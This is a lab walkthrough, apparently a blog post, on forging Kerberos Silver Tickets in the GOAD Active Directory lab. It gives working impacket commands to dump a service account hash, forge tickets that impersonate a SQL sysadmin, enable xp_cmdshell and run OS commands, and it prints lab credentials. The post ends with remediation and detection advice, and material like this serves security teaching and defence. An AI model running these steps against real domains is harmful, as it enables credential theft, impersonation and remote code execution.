A Silver Ticket is a forged Kerberos service ticket signed entirely with the target service account’s NT hash. The KDC is never consulted during forging or use. There is no AS-REQ, no TGS-REQ, no DC-side log. The only inputs required are the service account hash, the domain SID, and the target SPN.
This separates it sharply from a Golden Ticket. A Golden Ticket is signed with the krbtgt hash and can produce TGTs for any service in the domain. A Silver Ticket is scoped to one SPN. The trade off cuts both ways: narrower access, but better evasion. Silver Tickets generate zero KDC-side authentication events. Rotating krbtgt invalidates Golden Tickets immediately and has no effect on Silver Tickets. A forged Silver Ticket remains valid until the service account password changes.
In GOAD, sql_svc is registered in both north.sevenkingdoms.local and essos.local with SPNs for MSSQL on CASTELBLACK and BRAAVOS. The Silver Ticket path bypasses the impersonation chains and linked-server enumeration entirely. You forge the identity of a known sysadmin directly, no existing SQL login or session required.
Extracting the Hash
The realistic precondition is a prior DCSync or LSASS dump. With eddard.stark (Domain Admin in north) already compromised, pull the sql_svc NT hash directly from the DC:
impacket-secretsdump 'north.sevenkingdoms.local/eddard.stark:FightP3aceAndHonor!@10.3.10.11' \
-just-dc-user sql_svc
sql_svc:1121:aad3b435b51404eeaad3b435b51404ee:84a5092f53390ea48d660be52b93b804:::
The NT hash is 84a5092f53390ea48d660be52b93b804. The RID (1121) comes along for free. No password, no cracking.
Resolving the Domain SID and Target RID
Before forging, resolve the domain SID and confirm the RID of the principal you intend to impersonate. The principal must match an account that SQL Server has mapped to a login with the appropriate privileges. Forging as a domain admin who has no explicit SQL login authenticates via Kerberos but lands in the public role. Valid ticket, no useful access.
jon.snow is sysadmin on CASTELBLACK:
impacket-lookupsid 'north.sevenkingdoms.local/sql_svc:YouWillNotKerboroast1ngMeeeeee@10.3.10.11' \
| grep -E "Domain SID|jon.snow"
[*] Domain SID is: S-1-5-21-2091243434-1353480598-1843712201
1118: NORTH\jon.snow (SidTypeUser)
Forging the Ticket — CASTELBLACK
impacket-ticketer \
-nthash 84a5092f53390ea48d660be52b93b804 \
-domain-sid S-1-5-21-2091243434-1353480598-1843712201 \
-domain north.sevenkingdoms.local \
-spn MSSQLSvc/castelblack.north.sevenkingdoms.local \
-user-id 1118 \
jon.snow
No network traffic occurs. The ticket is written locally and signed with sql_svc‘s key, scoped to one SPN. Load it and connect:
export KRB5CCNAME=/tmp/jon.snow.ccache
mssqlclient.py -k -no-pass castelblack.north.sevenkingdoms.local
SELECT SYSTEM_USER;
-- NORTH.SEVENKINGDOMS.LOCAL\jon.snow
SELECT IS_SRVROLEMEMBER('sysadmin');
-- 1
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
-- north\sql_svc
Sysadmin confirmed. Code execution on the OS as the service account.
Forging the Ticket — BRAAVOS
The same hash covers BRAAVOS in essos.local. Resolve the essos domain SID separately. It differs from north, and target sql_svc directly, which holds the sysadmin login on that instance:
impacket-lookupsid 'essos.local/sql_svc:YouWillNotKerboroast1ngMeeeeee@10.3.10.12' \
| grep -E "Domain SID|sql_svc"
[*] Domain SID is: S-1-5-21-2003082546-1317317289-410609582
1119: ESSOS\sql_svc (SidTypeUser)
impacket-ticketer \
-nthash 84a5092f53390ea48d660be52b93b804 \
-domain-sid S-1-5-21-2003082546-1317317289-410609582 \
-domain essos.local \
-spn MSSQLSvc/braavos.essos.local \
-user-id 1119 \
sql_svc
export KRB5CCNAME=/tmp/sql_svc.ccache
mssqlclient.py -k -no-pass braavos.essos.local
SELECT SYSTEM_USER;
-- ESSOS\sql_svc
SELECT IS_SRVROLEMEMBER('sysadmin');
-- 1
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
-- essos\sql_svc
One hash, two domains, two SQL instances with sysadmin, zero KDC contact.
Remediation
Enable PAC validation on service hosts. When ValidateKdcPac is set, the service contacts the KDC to verify the PAC before granting access. A Silver Ticket with a fabricated PAC fails this check. Configure it via registry on each service host:
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters
ValidateKdcPac = DWORD 1
Rotate service account passwords immediately after any credential exposure. A Silver Ticket signed with the old hash becomes invalid as soon as the password changes. Unlike krbtgt, a single rotation is sufficient.
Avoid shared passwords across service accounts in different domains. The identical sql_svc credential in north and essos meant one compromised hash covered two separate domains with no additional work.
Use Group Managed Service Accounts (gMSA) where possible. Automatic 30-day password rotation limits the usable window of any extracted hash to the remaining time in the current rotation period.
Audit Windows event 4624 (logon type 3) on SQL servers for unexpected principal names authenticating via Kerberos. A jon.snow session appearing on CASTELBLACK without a corresponding TGS-REQ on the DC is an anomaly worth alerting on. This is the one place Silver Tickets can leave a trace. The service host logs the authentication even when the KDC does not.
0 Comments